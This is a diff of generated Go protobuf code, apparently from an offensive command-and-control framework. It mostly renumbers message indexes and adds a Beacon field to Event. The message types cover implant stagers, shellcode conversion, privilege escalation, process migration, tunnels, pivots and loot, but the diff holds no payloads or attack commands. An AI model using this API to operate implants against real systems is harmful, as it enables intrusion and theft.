protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4889,7 +5411,7 @@ func (x *StagerListenerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListenerReq.ProtoReflect.Descriptor instead. func (*StagerListenerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{48} + return file_clientpb_client_proto_rawDescGZIP(), []int{55} } func (x *StagerListenerReq) GetProtocol() StageProtocol { @@ -4959,7 +5481,7 @@ type StagerListener struct { func (x *StagerListener) Reset() { *x = StagerListener{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[56] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -4972,7 +5494,7 @@ func (x *StagerListener) String() string { func (*StagerListener) ProtoMessage() {} func (x *StagerListener) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[49] + mi := &file_clientpb_client_proto_msgTypes[56] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -4985,7 +5507,7 @@ func (x *StagerListener) ProtoReflect() protoreflect.Message { // Deprecated: Use StagerListener.ProtoReflect.Descriptor instead. func (*StagerListener) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{49} + return file_clientpb_client_proto_rawDescGZIP(), []int{56} } func (x *StagerListener) GetJobID() uint32 { @@ -5008,7 +5530,7 @@ type ShellcodeRDIReq struct { func (x *ShellcodeRDIReq) Reset() { *x = ShellcodeRDIReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[57] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5021,7 +5543,7 @@ func (x *ShellcodeRDIReq) String() string { func (*ShellcodeRDIReq) ProtoMessage() {} func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[50] + mi := &file_clientpb_client_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5034,7 +5556,7 @@ func (x *ShellcodeRDIReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDIReq.ProtoReflect.Descriptor instead. func (*ShellcodeRDIReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{50} + return file_clientpb_client_proto_rawDescGZIP(), []int{57} } func (x *ShellcodeRDIReq) GetData() []byte { @@ -5069,7 +5591,7 @@ type ShellcodeRDI struct { func (x *ShellcodeRDI) Reset() { *x = ShellcodeRDI{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5082,7 +5604,7 @@ func (x *ShellcodeRDI) String() string { func (*ShellcodeRDI) ProtoMessage() {} func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[51] + mi := &file_clientpb_client_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5095,7 +5617,7 @@ func (x *ShellcodeRDI) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeRDI.ProtoReflect.Descriptor instead. func (*ShellcodeRDI) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{51} + return file_clientpb_client_proto_rawDescGZIP(), []int{58} } func (x *ShellcodeRDI) GetData() []byte { @@ -5123,7 +5645,7 @@ type MsfStagerReq struct { func (x *MsfStagerReq) Reset() { *x = MsfStagerReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5136,7 +5658,7 @@ func (x *MsfStagerReq) String() string { func (*MsfStagerReq) ProtoMessage() {} func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[52] + mi := &file_clientpb_client_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5149,7 +5671,7 @@ func (x *MsfStagerReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStagerReq.ProtoReflect.Descriptor instead. func (*MsfStagerReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{52} + return file_clientpb_client_proto_rawDescGZIP(), []int{59} } func (x *MsfStagerReq) GetArch() string { @@ -5219,7 +5741,7 @@ type MsfStager struct { func (x *MsfStager) Reset() { *x = MsfStager{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5232,7 +5754,7 @@ func (x *MsfStager) String() string { func (*MsfStager) ProtoMessage() {} func (x *MsfStager) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[53] + mi := &file_clientpb_client_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5245,7 +5767,7 @@ func (x *MsfStager) ProtoReflect() protoreflect.Message { // Deprecated: Use MsfStager.ProtoReflect.Descriptor instead. func (*MsfStager) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{53} + return file_clientpb_client_proto_rawDescGZIP(), []int{60} } func (x *MsfStager) GetFile() *commonpb.File { @@ -5256,7 +5778,8 @@ func (x *MsfStager) GetFile() *commonpb.File { } // GetSystemReq - Client request to the server which is translated into -// InvokeSystemReq when sending to the implant. +// +// InvokeSystemReq when sending to the implant. type GetSystemReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -5270,7 +5793,7 @@ type GetSystemReq struct { func (x *GetSystemReq) Reset() { *x = GetSystemReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5283,7 +5806,7 @@ func (x *GetSystemReq) String() string { func (*GetSystemReq) ProtoMessage() {} func (x *GetSystemReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5296,7 +5819,7 @@ func (x *GetSystemReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GetSystemReq.ProtoReflect.Descriptor instead. func (*GetSystemReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{54} + return file_clientpb_client_proto_rawDescGZIP(), []int{61} } func (x *GetSystemReq) GetHostingProcess() string { @@ -5321,7 +5844,8 @@ func (x *GetSystemReq) GetRequest() *commonpb.Request { } // MigrateReq - Client request to the server which is translated into -// InvokeMigrateReq when sending to the implant. +// +// InvokeMigrateReq when sending to the implant. type MigrateReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -5336,7 +5860,7 @@ type MigrateReq struct { func (x *MigrateReq) Reset() { *x = MigrateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5349,7 +5873,7 @@ func (x *MigrateReq) String() string { func (*MigrateReq) ProtoMessage() {} func (x *MigrateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5362,7 +5886,7 @@ func (x *MigrateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MigrateReq.ProtoReflect.Descriptor instead. func (*MigrateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{55} + return file_clientpb_client_proto_rawDescGZIP(), []int{62} } func (x *MigrateReq) GetPid() uint32 { @@ -5405,7 +5929,7 @@ type CreateTunnelReq struct { func (x *CreateTunnelReq) Reset() { *x = CreateTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5418,7 +5942,7 @@ func (x *CreateTunnelReq) String() string { func (*CreateTunnelReq) ProtoMessage() {} func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5431,7 +5955,7 @@ func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnelReq.ProtoReflect.Descriptor instead. func (*CreateTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{56} + return file_clientpb_client_proto_rawDescGZIP(), []int{63} } func (x *CreateTunnelReq) GetRequest() *commonpb.Request { @@ -5453,7 +5977,7 @@ type CreateTunnel struct { func (x *CreateTunnel) Reset() { *x = CreateTunnel{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5466,7 +5990,7 @@ func (x *CreateTunnel) String() string { func (*CreateTunnel) ProtoMessage() {} func (x *CreateTunnel) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5479,7 +6003,7 @@ func (x *CreateTunnel) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnel.ProtoReflect.Descriptor instead. func (*CreateTunnel) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{57} + return file_clientpb_client_proto_rawDescGZIP(), []int{64} } func (x *CreateTunnel) GetSessionID() uint32 { @@ -5508,7 +6032,7 @@ type CloseTunnelReq struct { func (x *CloseTunnelReq) Reset() { *x = CloseTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5521,7 +6045,7 @@ func (x *CloseTunnelReq) String() string { func (*CloseTunnelReq) ProtoMessage() {} func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5534,7 +6058,7 @@ func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CloseTunnelReq.ProtoReflect.Descriptor instead. func (*CloseTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{58} + return file_clientpb_client_proto_rawDescGZIP(), []int{65} } func (x *CloseTunnelReq) GetTunnelID() uint64 { @@ -5566,7 +6090,7 @@ type PivotGraphEntry struct { func (x *PivotGraphEntry) Reset() { *x = PivotGraphEntry{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5579,7 +6103,7 @@ func (x *PivotGraphEntry) String() string { func (*PivotGraphEntry) ProtoMessage() {} func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5592,7 +6116,7 @@ func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraphEntry.ProtoReflect.Descriptor instead. func (*PivotGraphEntry) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{59} + return file_clientpb_client_proto_rawDescGZIP(), []int{66} } func (x *PivotGraphEntry) GetPeerID() int64 { @@ -5634,7 +6158,7 @@ type PivotGraph struct { func (x *PivotGraph) Reset() { *x = PivotGraph{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5647,7 +6171,7 @@ func (x *PivotGraph) String() string { func (*PivotGraph) ProtoMessage() {} func (x *PivotGraph) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5660,7 +6184,7 @@ func (x *PivotGraph) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraph.ProtoReflect.Descriptor instead. func (*PivotGraph) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{60} + return file_clientpb_client_proto_rawDescGZIP(), []int{67} } func (x *PivotGraph) GetChildren() []*PivotGraphEntry { @@ -5684,7 +6208,7 @@ type Client struct { func (x *Client) Reset() { *x = Client{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5697,7 +6221,7 @@ func (x *Client) String() string { func (*Client) ProtoMessage() {} func (x *Client) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5710,7 +6234,7 @@ func (x *Client) ProtoReflect() protoreflect.Message { // Deprecated: Use Client.ProtoReflect.Descriptor instead. func (*Client) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{61} + return file_clientpb_client_proto_rawDescGZIP(), []int{68} } func (x *Client) GetID() uint32 { @@ -5741,16 +6265,17 @@ type Event struct { EventType string `protobuf:"bytes,1,opt,name=EventType,proto3" json:"EventType,omitempty"` Session *Session `protobuf:"bytes,2,opt,name=Session,proto3" json:"Session,omitempty"` - Job *Job `protobuf:"bytes,3,opt,name=Job,proto3" json:"Job,omitempty"` - Client *Client `protobuf:"bytes,4,opt,name=Client,proto3" json:"Client,omitempty"` - Data []byte `protobuf:"bytes,5,opt,name=Data,proto3" json:"Data,omitempty"` - Err string `protobuf:"bytes,6,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error + Beacon *Beacon `protobuf:"bytes,3,opt,name=Beacon,proto3" json:"Beacon,omitempty"` + Job *Job `protobuf:"bytes,4,opt,name=Job,proto3" json:"Job,omitempty"` + Client *Client `protobuf:"bytes,5,opt,name=Client,proto3" json:"Client,omitempty"` + Data []byte `protobuf:"bytes,6,opt,name=Data,proto3" json:"Data,omitempty"` + Err string `protobuf:"bytes,7,opt,name=Err,proto3" json:"Err,omitempty"` // Can't trigger normal gRPC error } func (x *Event) Reset() { *x = Event{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5763,7 +6288,7 @@ func (x *Event) String() string { func (*Event) ProtoMessage() {} func (x *Event) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5776,7 +6301,7 @@ func (x *Event) ProtoReflect() protoreflect.Message { // Deprecated: Use Event.ProtoReflect.Descriptor instead. func (*Event) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{62} + return file_clientpb_client_proto_rawDescGZIP(), []int{69} } func (x *Event) GetEventType() string { @@ -5793,6 +6318,13 @@ func (x *Event) GetSession() *Session { return nil } +func (x *Event) GetBeacon() *Beacon { + if x != nil { + return x.Beacon + } + return nil +} + func (x *Event) GetJob() *Job { if x != nil { return x.Job @@ -5821,53 +6353,6 @@ func (x *Event) GetErr() string { return "" } -type Operators struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - Operators []*Operator `protobuf:"bytes,1,rep,name=Operators,proto3" json:"Operators,omitempty"` -} - -func (x *Operators) Reset() { - *x = Operators{} - if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[63] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } -} - -func (x *Operators) String() string { - return protoimpl.X.MessageStringOf(x) -} - -func (*Operators) ProtoMessage() {} - -func (x *Operators) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[63] - if protoimpl.UnsafeEnabled && x != nil { - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - if ms.LoadMessageInfo() == nil { - ms.StoreMessageInfo(mi) - } - return ms - } - return mi.MessageOf(x) -} - -// Deprecated: Use Operators.ProtoReflect.Descriptor instead. -func (*Operators) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{63} -} - -func (x *Operators) GetOperators() []*Operator { - if x != nil { - return x.Operators - } - return nil -} - type Operator struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -5880,7 +6365,7 @@ type Operator struct { func (x *Operator) Reset() { *x = Operator{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5893,7 +6378,7 @@ func (x *Operator) String() string { func (*Operator) ProtoMessage() {} func (x *Operator) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5906,7 +6391,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message { // Deprecated: Use Operator.ProtoReflect.Descriptor instead. func (*Operator) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{64} + return file_clientpb_client_proto_rawDescGZIP(), []int{70} } func (x *Operator) GetOnline() bool { @@ -5938,7 +6423,7 @@ type WebContent struct { func (x *WebContent) Reset() { *x = WebContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5951,7 +6436,7 @@ func (x *WebContent) String() string { func (*WebContent) ProtoMessage() {} func (x *WebContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5964,7 +6449,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebContent.ProtoReflect.Descriptor instead. func (*WebContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{65} + return file_clientpb_client_proto_rawDescGZIP(), []int{71} } func (x *WebContent) GetPath() string { @@ -6007,7 +6492,7 @@ type WebsiteAddContent struct { func (x *WebsiteAddContent) Reset() { *x = WebsiteAddContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6020,7 +6505,7 @@ func (x *WebsiteAddContent) String() string { func (*WebsiteAddContent) ProtoMessage() {} func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6033,7 +6518,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead. func (*WebsiteAddContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{66} + return file_clientpb_client_proto_rawDescGZIP(), []int{72} } func (x *WebsiteAddContent) GetName() string { @@ -6062,7 +6547,7 @@ type WebsiteRemoveContent struct { func (x *WebsiteRemoveContent) Reset() { *x = WebsiteRemoveContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6075,7 +6560,7 @@ func (x *WebsiteRemoveContent) String() string { func (*WebsiteRemoveContent) ProtoMessage() {} func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6088,7 +6573,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead. func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{67} + return file_clientpb_client_proto_rawDescGZIP(), []int{73} } func (x *WebsiteRemoveContent) GetName() string { @@ -6117,7 +6602,7 @@ type Website struct { func (x *Website) Reset() { *x = Website{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6130,7 +6615,7 @@ func (x *Website) String() string { func (*Website) ProtoMessage() {} func (x *Website) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6143,7 +6628,7 @@ func (x *Website) ProtoReflect() protoreflect.Message { // Deprecated: Use Website.ProtoReflect.Descriptor instead. func (*Website) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{68} + return file_clientpb_client_proto_rawDescGZIP(), []int{74} } func (x *Website) GetName() string { @@ -6171,7 +6656,7 @@ type Websites struct { func (x *Websites) Reset() { *x = Websites{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6184,7 +6669,7 @@ func (x *Websites) String() string { func (*Websites) ProtoMessage() {} func (x *Websites) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6197,7 +6682,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message { // Deprecated: Use Websites.ProtoReflect.Descriptor instead. func (*Websites) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{69} + return file_clientpb_client_proto_rawDescGZIP(), []int{75} } func (x *Websites) GetWebsites() []*Website { @@ -6221,7 +6706,7 @@ type WGClientConfig struct { func (x *WGClientConfig) Reset() { *x = WGClientConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6234,7 +6719,7 @@ func (x *WGClientConfig) String() string { func (*WGClientConfig) ProtoMessage() {} func (x *WGClientConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6247,7 +6732,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead. func (*WGClientConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{70} + return file_clientpb_client_proto_rawDescGZIP(), []int{76} } func (x *WGClientConfig) GetServerPubKey() string { @@ -6294,7 +6779,7 @@ type Loot struct { func (x *Loot) Reset() { *x = Loot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6307,7 +6792,7 @@ func (x *Loot) String() string { func (*Loot) ProtoMessage() {} func (x *Loot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6320,7 +6805,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message { // Deprecated: Use Loot.ProtoReflect.Descriptor instead. func (*Loot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{71} + return file_clientpb_client_proto_rawDescGZIP(), []int{77} } func (x *Loot) GetID() string { @@ -6376,7 +6861,7 @@ type AllLoot struct { func (x *AllLoot) Reset() { *x = AllLoot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6389,7 +6874,7 @@ func (x *AllLoot) String() string { func (*AllLoot) ProtoMessage() {} func (x *AllLoot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6402,7 +6887,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message { // Deprecated: Use AllLoot.ProtoReflect.Descriptor instead. func (*AllLoot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{72} + return file_clientpb_client_proto_rawDescGZIP(), []int{78} } func (x *AllLoot) GetLoot() []*Loot { @@ -6426,7 +6911,7 @@ type IOC struct { func (x *IOC) Reset() { *x = IOC{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6439,7 +6924,7 @@ func (x *IOC) String() string { func (*IOC) ProtoMessage() {} func (x *IOC) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[73] + 